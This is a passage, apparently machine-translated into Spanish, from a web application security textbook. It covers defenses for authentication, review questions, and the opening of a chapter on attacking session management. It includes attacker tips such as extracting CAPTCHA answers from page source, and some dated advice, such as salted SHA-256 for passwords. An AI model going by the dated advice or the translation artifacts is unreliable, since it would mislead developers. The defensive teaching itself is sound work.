Asegurar la autenticación
La implementación de una solución de autenticación segura implica intentar cumplir
simultáneamente varios objetivos clave de seguridad y, en muchos casos, compensar
otros objetivos como la funcionalidad, la facilidad de uso y el costo total. En algunos
casos, “más” seguridad puede ser contraproducente. Por ejemplo, obligar a los
usuarios a establecer contraseñas muy largas y cambiarlas con frecuencia hace que
los usuarios escriban sus contraseñas.
Debido a la enorme variedad de posibles vulnerabilidades de autenticación y las
defensas potencialmente complejas que una aplicación puede necesitar implementar
para mitigarlas, muchos diseñadores y desarrolladores de aplicaciones eligen
aceptar ciertas amenazas como un hecho y concentrarse en prevenir las más
graves . ataques Aquí hay algunos factores a considerar para lograr un equilibrio apropiado:
n La criticidad de la seguridad dada la funcionalidad que ofrece la aplicación

n El grado en que los usuarios tolerarán y trabajarán con diferentes tipos de
controles de autenticación
n El costo de mantener un sistema menos fácil de usar n
El costo financiero de las alternativas competidoras en relación con los ingresos
que probablemente genere la aplicación o el valor de los activos que protege
Esta sección describe las formas más efectivas de vencer los diversos ataques
contra los mecanismos de autenticación. Dejaremos que usted decida qué tipo de
defensas son las más apropiadas en cada caso.
Utilice credenciales sólidas
n Deben aplicarse requisitos mínimos adecuados de calidad de la contraseña.

Estos pueden incluir reglas con respecto a la longitud mínima; la aparición de caracteres
alfabéticos, numéricos y tipográficos; la aparición de caracteres en mayúsculas y
minúsculas; la evitación de palabras de diccionario, nombres y otras contraseñas comunes;
evitar que se establezca una contraseña para el nombre de usuario; y evitar una similitud
o coincidencia con contraseñas previamente establecidas. Como con la mayoría de las
medidas de seguridad, diferentes requisitos de calidad de contraseña pueden ser
apropiados para diferentes categorías de usuarios.
n Los nombres de usuario deben ser
únicos. n Todos los nombres de usuario y contraseñas generados por el sistema deben
crearse con suficiente entropía para que no puedan secuenciarse ni predecirse de manera
factible, ni siquiera por parte de un atacante que obtenga acceso a una gran muestra de
instancias generadas sucesivamente.
n Se debe permitir a los usuarios establecer contraseñas lo suficientemente seguras. Por

ejemplo, se deben permitir contraseñas largas y una amplia gama de caracteres.
Manejar credenciales en secreto
n Todas las credenciales deben crearse, almacenarse y transmitirse de manera que no

conduzcan a una divulgación no autorizada.
n Todas las comunicaciones cliente-servidor deben estar protegidas mediante una tecnología
criptográfica bien establecida, como SSL. Las soluciones personalizadas para proteger los
datos en tránsito no son ni necesarias ni deseables. n Si se considera preferible usar HTTP
para las áreas no autenticadas de la aplicación, asegúrese de que el formulario de inicio de

sesión se cargue usando HTTPS, en lugar de cambiar a HTTPS en el momento del envío
del inicio de sesión. n Solo se deben usar solicitudes POST para transmitir credenciales al
servidor.
Las credenciales nunca deben colocarse en parámetros de URL o cookies (incluso las
efímeras). Las credenciales nunca deben devolverse al cliente, ni siquiera en los parámetros
de una redirección.
n Todos los componentes de la aplicación del lado del servidor deben almacenar las
credenciales de una manera que no permita que sus valores originales se recuperen
fácilmente, incluso por un atacante que obtenga acceso completo a todos los datos relevantes dentro del
base de datos de la aplicación. El medio habitual para lograr este objetivo es utilizar una
función hash fuerte (como SHA-256 en el momento de escribir este artículo), adecuadamente
salada para reducir la eficacia de los ataques fuera de línea precalculados . El salt debe
ser específi co para la cuenta propietaria de la contraseña, de modo que un atacante no
pueda reproducir o sustituir los valores hash. n La función "recordarme" del lado del cliente
debe, en general, recordar solo elementos no secretos, como nombres de usuario. En

aplicaciones menos críticas para la seguridad, se puede considerar apropiado permitir que
los usuarios opten por una función para recordar contraseñas. En esta situación, no se
deben almacenar credenciales de texto sin cifrar en el cliente (la contraseña se debe
almacenar cifrada de forma reversible mediante una clave conocida solo por el servidor).
Además, se debe advertir a los usuarios sobre los riesgos de un atacante que tenga
acceso físico a su computadora o que comprometa su computadora de forma remota. Se
debe prestar especial atención a la eliminación de vulnerabilidades de secuencias de
comandos entre sitios dentro de la aplicación que pueden usarse para robar credenciales
almacenadas (consulte el Capítulo 12). n Debe implementarse una función de cambio de
contraseña (consulte la sección "Evitar el uso indebido de la función de cambio de contraseña"),

y se debe solicitar a los usuarios que cambien su contraseña periódicamente.
n Cuando las credenciales para cuentas nuevas se distribuyan a los usuarios fuera de banda,
estas deben enviarse de la manera más segura posible y deben tener un límite de tiempo.
Se debe solicitar al usuario que los cambie en el primer inicio de sesión y se le debe indicar
que destruya la comunicación después del primer uso.
n Cuando corresponda, considere capturar parte de la información de inicio de sesión del

usuario (por ejemplo, letras sueltas de una palabra fácil de recordar) mediante menús
desplegables en lugar de campos de texto. Esto evitará que cualquier registrador de teclas
instalado en la computadora del usuario capture todos los datos que envía el usuario. ( Sin
embargo, tenga en cuenta que un keylogger simple es solo uno de los medios por los que
un atacante puede capturar la entrada del usuario. Si él o ella ya ha comprometido la
computadora de un usuario, en principio, un atacante puede registrar todo tipo de eventos,
incluidos los movimientos del mouse, envíos de formularios a través de HTTPS y capturas de pantalla).
Validar credenciales correctamente
n Las contraseñas deben validarse en su totalidad, es decir, distinguiendo entre mayúsculas

y minúsculas, sin filtrar ni modificar ningún carácter, y sin truncar la contraseña.
n La aplicación debe ser agresiva para defenderse de eventos inesperados que

ocurran durante el proceso de inicio de sesión. Por ejemplo, según el lenguaje
de desarrollo en uso, la aplicación debe usar controladores de excepciones
generales en todas las llamadas a la API. Estos deben eliminar explícitamente todos
Los datos locales de sesión y método se utilizan para controlar el estado del procesamiento
de inicio de sesión y deben invalidar explícitamente la sesión actual, lo que provoca un
cierre de sesión forzado por parte del servidor, incluso si la autenticación se omite de
alguna manera.
n Toda la lógica de autenticación debe revisarse minuciosamente el código, tanto como

pseudocódigo como como código fuente de la aplicación real, para identificar errores
lógicos, como condiciones de apertura fallida. n Si se implementa la funcionalidad para
admitir la suplantación de identidad del usuario, esto debe controlarse estrictamente para
garantizar que no se pueda utilizar indebidamente para obtener acceso no autorizado.
Debido a la criticidad de la funcionalidad, a menudo vale la pena eliminar esta
funcionalidad de la aplicación pública e implementarla solo para usuarios administrativos
internos, cuyo uso de suplantación de identidad debe controlarse y auditarse estrictamente.
n Los inicios de sesión en varias etapas deben controlarse estrictamente para evitar que un
atacante interfiera con las transiciones y relaciones entre las etapas:
n Todos los datos sobre el progreso a través de las etapas y los resultados de las tareas
de validación anteriores deben mantenerse en el objeto de sesión del lado del servidor
y nunca deben transmitirse ni leerse del cliente.
n El usuario no debe enviar elementos de información más de una vez , y no debe existir
ningún medio para que el usuario modifique los datos que ya han sido recopilados y/
o validados. Cuando un elemento de datos , como un nombre de usuario, se usa en
varias etapas, debe almacenarse en una variable de sesión cuando se recopila por
primera vez y se hace referencia desde allí.
después.
n La primera tarea a realizar en cada etapa debe ser verificar que todas las etapas
anteriores se hayan completado correctamente. Si este no es el caso, el intento de
autenticación debe marcarse inmediatamente como malo. n Para evitar la fuga de
información sobre qué etapa del inicio de sesión falló (lo que permitiría a un atacante
apuntar a cada etapa por turno), la aplicación siempre debe continuar con todas las
etapas del inicio de sesión, incluso si el usuario no pudo completar las etapas
anteriores correctamente. e incluso si el nombre de usuario original no era válido.
Después de pasar por todas las etapas, la aplicación debe presentar un mensaje
genérico de "fallo de inicio de sesión" al final de la etapa final, sin proporcionar
ninguna información sobre dónde ocurrió la falla.
n Cuando un proceso de inicio de sesión incluya una pregunta que varía aleatoriamente,
asegúrese de que un atacante no pueda elegir efectivamente su propia pregunta: n
Emplee siempre un proceso de varias etapas en el que los usuarios se identifican en una
etapa inicial y se les presenta la pregunta que varía aleatoriamente en una etapa
posterior .
n Cuando a un usuario determinado se le haya presentado una pregunta variable

dada, almacene esa pregunta dentro de su perfil de usuario persistente y
asegúrese de que al mismo usuario se le presente la misma pregunta en cada
intento de inicio de sesión hasta que la responda con éxito.
n Cuando se presenta al usuario un desafío que varía aleatoriamente,
almacene la pregunta que se formuló en una variable de sesión del lado
del servidor, en lugar de un campo oculto en un formulario HTML, y valide
la respuesta posterior con esa pregunta guardada.
NOTA Las sutilezas de diseñar un mecanismo de autenticación seguro son profundas

aquí. Si no se tiene cuidado al hacer una pregunta que varía aleatoriamente, esto puede
generar nuevas oportunidades para la enumeración de nombres de usuario. Por ejemplo,
para evitar que un atacante elija su propia pregunta, una aplicación puede almacenar
dentro del perfil de cada usuario la última pregunta que se le hizo al usuario y continuar
presentando esa pregunta hasta que el usuario la responda correctamente. Un atacante
que inicia varios inicios de sesión utilizando el nombre de usuario de un usuario
determinado se encontrará con la misma pregunta. Sin embargo, si el atacante realiza el
mismo proceso utilizando un nombre de usuario no válido, la aplicación puede comportarse
de manera diferente: debido a que ningún perfil de usuario está asociado con un nombre
de usuario no válido, no habrá una pregunta almacenada, por lo que se presentará una
pregunta diferente. El atacante puede utilizar esta diferencia de comportamiento,
manifestada en varios intentos de inicio de sesión, para inferir la validez de un nombre de
usuario determinado. En un ataque con secuencia de comandos, podrá recolectar numerosos nombres de usuario
Si una aplicación quiere defenderse de esta posibilidad, debe hacer todo lo

posible. Cuando se inicia un intento de inicio de sesión con un nombre de usuario
no válido, la aplicación debe registrar en algún lugar la pregunta aleatoria que
presentó para ese nombre de usuario no válido y asegurarse de que los intentos de
inicio de sesión posteriores con el mismo nombre de usuario respondan a la misma
pregunta. Yendo aún más lejos, la aplicación podría cambiar a una pregunta diferente
periódicamente para simular que el usuario inexistente haya iniciado sesión
normalmente, ¡lo que resultaría en un cambio en la siguiente pregunta! En algún
momento, sin embargo, el diseñador de la aplicación debe trazar una línea y admitir
que una victoria total contra un atacante tan decidido probablemente no sea posible.
Prevenir la fuga de información
n Los diversos mecanismos de autenticación utilizados por la aplicación no deben

revelar ninguna información sobre los parámetros de autenticación, ya sea a través
de mensajes abiertos o inferencias de otros aspectos del comportamiento de la
aplicación. Un atacante no debería tener medios para determinar qué parte de los
diversos elementos enviados ha causado un problema. n Un solo componente de
código debe ser responsable de responder a todos los intentos fallidos de inicio de
sesión con un mensaje genérico. Esto evita una vulnerabilidad sutil
eso puede ocurrir cuando un atacante puede detectar un mensaje

supuestamente no informativo devuelto desde diferentes rutas de código
debido a diferencias tipográficas en el mensaje, diferentes códigos de
estado HTTP, otra información oculta en HTML y similares.
n Si la aplicación aplica algún tipo de bloqueo de cuenta para evitar ataques de fuerza bruta
(como se explica en la siguiente sección), tenga cuidado de no dejar que esto provoque
una fuga de información. Por ejemplo, si una aplicación revela que una cuenta específica
ha sido suspendida durante X minutos debido a Y errores de inicio de sesión, este
comportamiento se puede usar fácilmente para enumerar nombres de usuario válidos.
Además , revelar las métricas precisas de la política de bloqueo permite que un atacante
optimice cualquier intento de seguir adivinando contraseñas a pesar de la política. Para
evitar la enumeración de nombres de usuario, la aplicación debe responder a cualquier
serie de intentos fallidos de inicio de sesión desde el mismo navegador con un mensaje
genérico que informe que las cuentas se suspenden si ocurren múltiples fallas y que el
usuario debe volver a intentarlo más tarde. Esto se puede lograr usando una cookie o un
campo oculto para rastrear fallas repetidas que se originan desde el mismo navegador.
(Por supuesto, este mecanismo no debe usarse para hacer cumplir ningún control de
seguridad real, solo para proporcionar un mensaje útil a los usuarios comunes que tienen
dificultades para recordar sus credenciales).
n Si la aplicación admite el registro automático, puede evitar que esta función se use para
enumerar nombres de usuario existentes de dos maneras:
n En lugar de permitir la autoselección de nombres de usuario, la aplicación puede crear

un nombre de usuario único (e impredecible) para cada nuevo usuario, eliminando así
la necesidad de revelar que ya existe un nombre de usuario seleccionado. n La
aplicación puede utilizar direcciones de correo electrónico como nombres de usuario.

Aquí, la primera etapa del proceso de registro requiere que el usuario ingrese su
dirección de correo electrónico, después de lo cual se le dice simplemente que espere
un correo electrónico y siga las instrucciones contenidas en él. Si la dirección de correo electrónico
ya está registrado, el usuario puede ser informado de esto en el correo electrónico. Si
la dirección aún no está registrada, se le puede proporcionar al usuario una URL única
e indescifrable para visitar y continuar con el proceso de registro.
Esto evita que el atacante enumere nombres de usuario válidos (a menos que ya
haya comprometido una gran cantidad de cuentas de correo electrónico).
Prevenir ataques de fuerza bruta
n Es necesario aplicar medidas dentro de todos los diversos desafíos implementados por la
funcionalidad de autenticación para evitar ataques que intenten resolver esos desafíos
mediante la automatización. Esto incluye el inicio de sesión en sí,
así como funciones para cambiar la contraseña, para recuperarse de una situación de
contraseña olvidada, y similares. n El uso de nombres de usuario impredecibles y la
prevención de su enumeración presenta un obstáculo significativo para los ataques de fuerza

bruta completamente ciegos y requiere que un atacante haya descubierto de alguna
manera uno o más nombres de usuario específicos antes de montar un ataque.
n Algunas aplicaciones críticas para la seguridad (como los bancos en línea) simplemente
desactivan una cuenta después de una pequeña cantidad de inicios de sesión fallidos
(como tres). También requieren que el propietario de la cuenta tome varios pasos fuera de
banda para reactivar la cuenta, como llamar por teléfono al servicio de atención al cliente
y responder una serie de preguntas de seguridad. Las desventajas de esta política son
que permite que un atacante deniegue el servicio a usuarios legítimos al deshabilitar
repetidamente sus cuentas y el costo de proporcionar el servicio de recuperación de
cuenta. Una política más equilibrada, adecuada para la mayoría de las aplicaciones
conscientes de la seguridad, es suspender las cuentas por un período corto (como 30
minutos) después de una pequeña cantidad de intentos fallidos de inicio de sesión (como
tres). Esto sirve para ralentizar enormemente cualquier ataque de adivinación de
contraseñas, al tiempo que mitiga el riesgo de ataques de denegación de servicio y
también reduce el trabajo del centro de llamadas. n Si se implementa una política de

suspensión temporal de cuentas, se debe tener cuidado para asegurar su efectividad:
n Para evitar la fuga de información que conduzca a la enumeración de nombres de

usuario, la aplicación nunca debe indicar que se ha suspendido una cuenta específica.
Más bien, debería responder a cualquier serie de inicios de sesión fallidos, incluso
aquellos que usan un nombre de usuario no válido, con un mensaje que advierte que
las cuentas se suspenden si ocurren múltiples fallas y que el usuario debe volver a
intentarlo más tarde (como se mencionó anteriormente).
n Las métricas de la política no deben ser divulgadas a los usuarios. El simple hecho de
decirle a los usuarios legítimos que "inténtenlo de nuevo más tarde" no disminuye
seriamente la calidad del servicio. Pero informar a un atacante exactamente cuántos
intentos fallidos se toleran y cuánto dura el período de suspensión le permite optimizar
cualquier intento de seguir adivinando contraseñas a pesar de la política.
n Si se suspende una cuenta, los intentos de inicio de sesión deben rechazarse sin
siquiera verificar las credenciales. Algunas aplicaciones que han implementado una
política de suspensión siguen siendo vulnerables a la fuerza bruta porque continúan
procesando por completo los intentos de inicio de sesión durante el período de
suspensión y devuelven un mensaje ligeramente (o no tan sutil) diferente cuando se
envían credenciales válidas. Este comportamiento permite que un ataque efectivo de
fuerza bruta avance a toda velocidad independientemente de la política de suspensión.
n Las contramedidas por cuenta, como el bloqueo de cuenta, no ayudan a proteger

contra un tipo de ataque de fuerza bruta que a menudo es muy efectivo: iterar a
través de una larga lista de nombres de usuario enumerados, verificar una sola
contraseña débil , como contraseña. Por ejemplo, si cinco intentos fallidos provocan
la suspensión de una cuenta, esto significa que un atacante puede intentar cuatro
contraseñas diferentes en cada cuenta sin causar ninguna interrupción a los
usuarios. En una aplicación típica que contiene muchas contraseñas débiles, es
probable que un atacante de este tipo comprometa muchas cuentas.
La eficacia de este tipo de ataque, por supuesto, se reducirá enormemente si otras

áreas del mecanismo de autenticación se diseñan de forma segura. Si los nombres
de usuario no se pueden enumerar o predecir de forma fiable, el atacante se verá
frenado por la necesidad de realizar un ejercicio de fuerza bruta para adivinar los
nombres de usuario. Y si existen requisitos estrictos para la calidad de la contraseña,
es mucho menos probable que el atacante elija una contraseña para probar que
incluso un solo usuario de la aplicación ha elegido.
Además de estos controles, una aplicación puede protegerse específicamente
contra este tipo de ataque mediante el uso de desafíos CAPTCHA ( Prueba de
Turing pública completamente automatizada para diferenciar a las computadoras y
los humanos) en cada página que pueda ser objetivo de ataques de fuerza bruta.
(ver Figura 6-9). Si es efectiva, esta medida puede evitar cualquier envío automático
de datos a cualquier página de la aplicación, evitando así que todo tipo de ataques
de adivinación de contraseñas se ejecuten manualmente. Tenga en cuenta que se
ha investigado mucho sobre las tecnologías CAPTCHA y que, en algunos casos, los
ataques automatizados contra ellas han sido fiables. Además, se sabe que algunos
atacantes idean concursos de resolución de CAPTCHA, en los que miembros del
público involuntarios se aprovechan como drones para ayudar al atacante.
Sin embargo, incluso si un tipo particular de desafío no es completamente efectivo,
hará que la mayoría de los atacantes casuales desistan y encuentren una aplicación
que no emplee la técnica.
Figura 6-9: Un control CAPTCHA

diseñado para impedir ataques automatizados
SUGERENCIA Si está atacando una aplicación que usa controles CAPTCHA para
dificultar la automatización, siempre revise detenidamente la fuente HTML de la página
donde aparece la imagen. Los autores se han encontrado con casos en los que la solución
al acertijo aparece en forma literal dentro del atributo ALT de la etiqueta

de la imagen, o dentro de un campo de formulario oculto, lo que permite
que un ataque programado derrote la protección sin resolver el acertijo.
Evite el uso indebido de la función de cambio de contraseña
n Siempre se debe implementar una función de cambio de contraseña, para permitir la

caducidad periódica de la contraseña (si es necesario) y permitir que los usuarios cambien
las contraseñas si así lo desean por cualquier motivo. Como mecanismo de seguridad
clave, esto debe estar bien defendido contra el uso indebido. n Solo se debe poder acceder
a la función desde una sesión autenticada. n No debe haber ninguna instalación para
proporcionar un nombre de usuario, ya sea explícitamente o mediante un campo de formulario

oculto o una cookie. Los usuarios no tienen una necesidad legítima de intentar cambiar las
contraseñas de otras personas.
n Como medida de defensa en profundidad, la función debe protegerse contra el acceso no

autorizado obtenido a través de algún otro defecto de seguridad en la aplicación , como
una vulnerabilidad de secuestro de sesión, secuencias de comandos entre sitios o incluso
una terminal desatendida. Con este fin, se debe solicitar a los usuarios que vuelvan a
ingresar su contraseña existente. n La nueva contraseña debe ingresarse dos veces para
evitar errores. La aplicación debe comparar los campos “nueva contraseña” y “confirmar nueva
contraseña” como primer paso y devolver un error informativo si no coinciden. n La función
debe prevenir los diversos ataques que se pueden realizar contra el mecanismo principal
de inicio de sesión. Se debe usar un único mensaje de error genérico para notificar a los
usuarios sobre cualquier error en las credenciales existentes, y la función se debe
suspender temporalmente luego de una pequeña cantidad de intentos fallidos de cambiar
la contraseña.
n Se debe notificar a los usuarios fuera de banda (por ejemplo, por correo electrónico) que
se ha cambiado su contraseña, pero el mensaje no debe contener ni sus credenciales
antiguas ni las nuevas.
Evitar el uso indebido de la función de recuperación de cuenta
n En las aplicaciones más críticas para la seguridad, como la banca en línea, la recuperación
de la cuenta en caso de que se olvide la contraseña se maneja fuera de banda. Un
usuario debe realizar una llamada telefónica y responder a una serie de preguntas de
seguridad, y también se envían nuevas credenciales o un código de reactivación fuera de
banda (vía correo convencional) a la dirección de domicilio registrada del usuario. La
mayoría de las aplicaciones no quieren ni necesitan este nivel de seguridad, por lo que
una función de recuperación automática puede ser apropiada.
n Un mecanismo de recuperación de contraseña bien diseñado debe evitar que las cuentas
se vean comprometidas por una parte no autorizada y minimizar cualquier interrupción
para los usuarios legítimos. n Nunca se deben usar funciones como "sugerencias" de
contraseñas, ya que principalmente ayudan a un atacante a rastrear cuentas que tienen

establecidas sugerencias obvias. n La mejor solución automatizada para permitir que los
usuarios recuperen el control de las cuentas es enviar por correo electrónico al usuario una
URL de recuperación única, por tiempo limitado, indescifrable y de un solo uso . Este
correo electrónico debe enviarse a la dirección que el usuario proporcionó durante el
registro. Visitar la URL le permite al usuario establecer una nueva contraseña . Una vez
hecho esto, se debe enviar un segundo correo electrónico, indicando que se realizó un
cambio de contraseña. Para evitar que un atacante niegue el servicio a los usuarios
solicitando continuamente correos electrónicos de reactivación de contraseña, las
credenciales existentes del usuario deben seguir siendo válidas hasta que se cambien. n
Para proteger aún más contra el acceso no autorizado, las aplicaciones pueden presentar a
los usuarios un desafío secundario que deben completar antes de obtener acceso a la
función de restablecimiento de contraseña. Asegúrese de que el diseño de este desafío
no introduzca nuevas vulnerabilidades:
n El desafío debe implementar la misma pregunta o conjunto de preguntas

para todos, según lo exigido por la aplicación durante el registro.
Si los usuarios proporcionan su propio desafío, es probable que algunos de estos
sean débiles, y esto también permite que un atacante enumere cuentas válidas al
identificar aquellas que tienen un conjunto de desafíos.
n Las respuestas al desafío deben contener suficiente entropía para que no

puedan adivinarse fácilmente. Por ejemplo, preguntar al usuario el
nombre de su primera escuela es preferible a preguntar por su color
favorito. n Las cuentas deben suspenderse temporalmente luego de una
serie de intentos fallidos de completar el desafío, para evitar ataques de
fuerza bruta. n La aplicación no debe filtrar ninguna información en caso de
respuestas fallidas al desafío, con respecto a la validez del nombre de
usuario, cualquier suspensión de la cuenta, etc.
n La finalización exitosa del desafío debe ser seguida por el proceso descrito
anteriormente, en el que se envía un mensaje a la dirección de correo electrónico
registrada del usuario que contiene una URL de reactivación. Bajo ninguna
circunstancia la aplicación debe revelar la contraseña olvidada del usuario o
simplemente colocar al usuario en una sesión autenticada. Incluso proceder
directamente a la función de restablecimiento de contraseña no es deseable. La
respuesta al desafío de recuperación de la cuenta será, en general, más fácil de
adivinar para un atacante que la contraseña original, por lo que no se debe confiar en
ella sola para autenticar al usuario.
Registrar, monitorear y notificar
n La aplicación debe registrar todos los eventos relacionados con la autenticación, incluido el inicio de
sesión, el cierre de sesión, el cambio de contraseña, el restablecimiento de contraseña, la
suspensión de la cuenta y la recuperación de la cuenta. Cuando corresponda, se deben registrar
tanto los intentos fallidos como los exitosos . Los registros deben contener todos los detalles
relevantes (como el nombre de usuario y la dirección IP), pero no los secretos de seguridad (como las contraseñas).
Los registros deben estar fuertemente protegidos contra el acceso no autorizado, ya que son una
fuente crítica de fuga de información.
n Las anomalías en los eventos de autenticación deben ser procesadas por la función de prevención
de intrusos y alertas en tiempo real de la aplicación. Por ejemplo, los administradores de aplicaciones
deben ser conscientes de los patrones que indican ataques de fuerza bruta para que se puedan
considerar las medidas defensivas y ofensivas adecuadas.
n Los usuarios deben ser notificados fuera de banda de cualquier evento de seguridad crítico. Por
ejemplo, la aplicación debería enviar un mensaje a la dirección de correo electrónico registrada de
un usuario cada vez que cambie su contraseña.
n Los usuarios deben ser notificados en banda de los eventos de seguridad que ocurren con frecuencia.
Por ejemplo, después de un inicio de sesión exitoso, la aplicación debe informar a los usuarios la
hora y el dominio/IP de origen del último inicio de sesión y la cantidad de intentos de inicio de
sesión no válidos realizados desde entonces. Si un usuario es consciente de que su cuenta está
siendo objeto de un ataque de adivinación de contraseña, es más probable que cambie su
contraseña con frecuencia y la establezca en un valor seguro.
Resumen
Las funciones de autenticación son quizás el objetivo más destacado en la superficie de ataque de una
aplicación típica. Por definición, pueden ser alcanzados por usuarios anónimos y sin privilegios. Si se
rompen, otorgan acceso a funciones protegidas y datos confidenciales. Se encuentran en el núcleo de los
mecanismos de seguridad que emplea una aplicación para defenderse y son la primera línea de defensa
contra el acceso no autorizado.
Los mecanismos de autenticación del mundo real contienen una miríada de fallas de
diseño e implementación . Un ataque eficaz contra ellos debe proceder sistemáticamente ,
usando una metodología estructurada para trabajar a través de todas las posibles vías de
ataque. En muchos casos, se presentan objetivos abiertos: malas contraseñas, formas de
averiguar nombres de usuario, vulnerabilidad a ataques de fuerza bruta. En el otro extremo
del espectro, los defectos pueden ser muy difíciles de descubrir. Pueden requerir un examen
meticuloso de un complicado proceso de inicio de sesión para establecer las suposiciones que se están haciendo
hecho y para ayudarlo a detectar la falla lógica sutil que puede explotarse
para atravesar la puerta.
La lección más importante al atacar la funcionalidad de autenticación es buscar en todas partes.
Además del formulario de inicio de sesión principal, puede haber funciones para registrar nuevas
cuentas, cambiar contraseñas, recordar contraseñas, recuperar contraseñas olvidadas y suplantar a
otros usuarios. Cada uno de estos presenta un rico objetivo de defectos potenciales, y los problemas
que han sido eliminados conscientemente dentro de una función a menudo vuelven a surgir dentro de
otras. Invierta el tiempo para escudriñar y sondear cada centímetro de superficie de ataque que pueda
encontrar, y sus recompensas pueden ser excelentes.
Preguntas
1. Mientras prueba una aplicación web, inicia sesión con sus credenciales de joe y pass. Durante
el proceso de inicio de sesión, verá que aparece una solicitud de la siguiente URL en su proxy
de interceptación:
http://www.wahh-app.com/app?action=login&uname=joe&password=contraseña
¿Qué tres vulnerabilidades puede diagnosticar sin investigar más?

2. ¿Cómo pueden las funciones de autorregistro introducir vulnerabilidades de enumeración de
nombres de usuario? ¿Cómo se pueden prevenir estas vulnerabilidades?
3. Un mecanismo de inicio de sesión implica los siguientes pasos:
(a) La aplicación solicita el nombre de usuario y el código de acceso del usuario.
(b) La aplicación solicita dos letras elegidas al azar del usuario

palabra memorable.
¿Por qué se solicita la información requerida en dos pasos separados? ¿Qué defecto tendría
el mecanismo si no fuera así?
4. Un mecanismo de inicio de sesión de varias etapas primero solicita el nombre de usuario del
usuario y luego varios otros elementos en etapas sucesivas. Si algún elemento proporcionado
no es válido, el usuario vuelve inmediatamente a la primera etapa.
¿Qué tiene de malo este mecanismo y cómo se puede corregir la vulnerabilidad?
5. Una aplicación incorpora un mecanismo antiphishing en su funcionalidad de inicio de sesión.

Durante el registro, cada usuario selecciona una imagen específi ca de un gran banco de
imágenes memorables que le presenta la aplicación.
La función de inicio de sesión implica los siguientes pasos:
(a) El usuario ingresa su nombre de usuario y fecha de nacimiento.

(b) Si estos datos son correctos, la aplicación muestra al usuario su elección

imagen; de lo contrario, se muestra una imagen aleatoria.
(c) El usuario verifica si se muestra la imagen correcta. Si es así, ingresa su contraseña.
La idea detrás de este mecanismo antiphishing es que permite al usuario confirmar

que está tratando con la aplicación auténtica, no con un clon, porque solo la aplicación
real conoce la imagen correcta para mostrar al usuario.
¿Qué vulnerabilidad introduce este mecanismo antiphishing en la función de inicio de

sesión? ¿Es eficaz el mecanismo para prevenir el phishing?
Capítulo R
Gestión de sesiones de ataque
El mecanismo de gestión de sesiones es un componente de seguridad fundamental en la

mayoría de las aplicaciones web. Es lo que permite que la aplicación identifique de manera
única a un usuario determinado a través de una serie de solicitudes diferentes y que
maneje los datos que acumula sobre el estado de la interacción de ese usuario con la
aplicación. Cuando una aplicación implementa la funcionalidad de inicio de sesión, la
gestión de la sesión es de particular importancia, porque es lo que permite que la aplicación
mantenga su garantía de la identidad de cualquier usuario más allá de la solicitud en la
que proporciona sus credenciales.
Debido al papel clave que desempeñan los mecanismos de gestión de sesiones, son
un objetivo principal para los ataques maliciosos contra la aplicación. Si un atacante puede
romper la administración de la sesión de una aplicación, puede eludir efectivamente sus
controles de autenticación y hacerse pasar por otros usuarios de la aplicación sin conocer
sus credenciales. Si un atacante compromete a un usuario administrativo de esta manera,
el atacante puede poseer toda la aplicación.
Al igual que con los mecanismos de autenticación, comúnmente se puede encontrar
una amplia variedad de defectos en las funciones de administración de sesiones. En los
casos más vulnerables, un atacante simplemente necesita incrementar el valor de un
token emitido por la aplicación para cambiar su contexto al de un usuario diferente. En
esta situación, la aplicación está completamente abierta para que cualquiera pueda
acceder a todas las áreas. En el otro extremo del espectro, un atacante puede tener que
trabajar muy duro, descifrando varias capas de ofuscación e ideando un ataque
automatizado sofisticado, antes de encontrar una grieta en la armadura de la aplicación.
205
206 Capítulo 7 n Gestión de sesiones de ataque
Este capítulo analiza todos los tipos de debilidades que los autores han encontrado
en las aplicaciones web del mundo real. Establece en detalle los pasos prácticos que
debe seguir para encontrar y explotar estos defectos. Finalmente, describe las medidas
defensivas que deben tomar las aplicaciones para protegerse contra estos ataques.
MITO COMÚN
“Utilizamos tarjetas inteligentes para la autenticación y las sesiones de los usuarios

no pueden comprometerse sin ellas”.
Por sólido que sea el mecanismo de autenticación de una aplicación, las

solicitudes posteriores de los usuarios solo se vinculan a esa autenticación a través
de la sesión resultante. Si la administración de la sesión de la aplicación falla, un
atacante puede eludir la autenticación robusta y aun así comprometer a los usuarios.
La necesidad del estado
El protocolo HTTP es esencialmente sin estado. Se basa en un modelo simple de solicitud-

respuesta, en el que cada par de mensajes representa una transacción independiente.
El protocolo en sí no contiene ningún mecanismo para vincular la serie de solicitudes
realizadas por un usuario en particular y distinguirlas de todas las demás solicitudes recibidas
por el servidor web. En los primeros días de la Web, no había necesidad de ningún
mecanismo de este tipo: los sitios web se usaban para publicar páginas HTML estáticas para
que cualquiera pudiera verlas. Hoy en día, las cosas son muy diferentes.
La mayoría de los "sitios" web son, de hecho, aplicaciones web. Le permiten registrarse e
iniciar sesión. Le permiten comprar y vender productos. Recuerdan sus preferencias la
próxima vez que los visite. Ofrecen ricas experiencias multimedia con contenido creado
dinámicamente en función de lo que hace clic y escribe. Para implementar cualquiera de
estas funciones, las aplicaciones web deben utilizar el concepto de sesión.
El uso más obvio de las sesiones es en aplicaciones que admiten el inicio de sesión.
Después de ingresar su nombre de usuario y contraseña, puede usar la aplicación como el
usuario cuyas credenciales ha ingresado, hasta que cierre la sesión o la sesión expire por
inactividad. Sin una sesión, un usuario tendría que volver a ingresar su contraseña en cada
página de la aplicación. Por lo tanto, después de autenticar al usuario una vez, la aplicación
crea una sesión para él y trata todas las solicitudes pertenecientes a esa sesión como
provenientes de ese usuario.
Las aplicaciones que no tienen una función de inicio de sesión también suelen necesitar
sesiones. Muchos sitios que venden mercancías no requieren que los clientes creen cuentas.
Sin embargo, permiten a los usuarios navegar por el catálogo, agregar artículos a una cesta
de la compra, proporcionar detalles de entrega y realizar un pago. En este escenario, no hay
necesidad de autenticar la identidad del usuario: durante la mayor parte de su visita, la
aplicación no sabe quién es el usuario ni le importa. Pero para hacer negocios con él,
necesita saber qué serie de solicitudes que recibe se originaron del mismo usuario.
Capítulo 7 n Gestión de sesiones de ataque 207
El medio más simple y aún más común de implementar sesiones es emitir a

cada usuario un identificador o token de sesión único. En cada solicitud posterior
a la aplicación, el usuario vuelve a enviar este token, lo que permite que la
aplicación determine a qué secuencia de solicitudes anteriores se refiere la solicitud actual.
En la mayoría de los casos, las aplicaciones utilizan cookies HTTP como mecanismo de
transmisión para pasar estos tokens de sesión entre el servidor y el cliente. La primera
respuesta del servidor a un nuevo cliente contiene un encabezado HTTP como el siguiente:
Conjunto de cookies: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55
y las solicitudes posteriores del cliente contienen este encabezado:

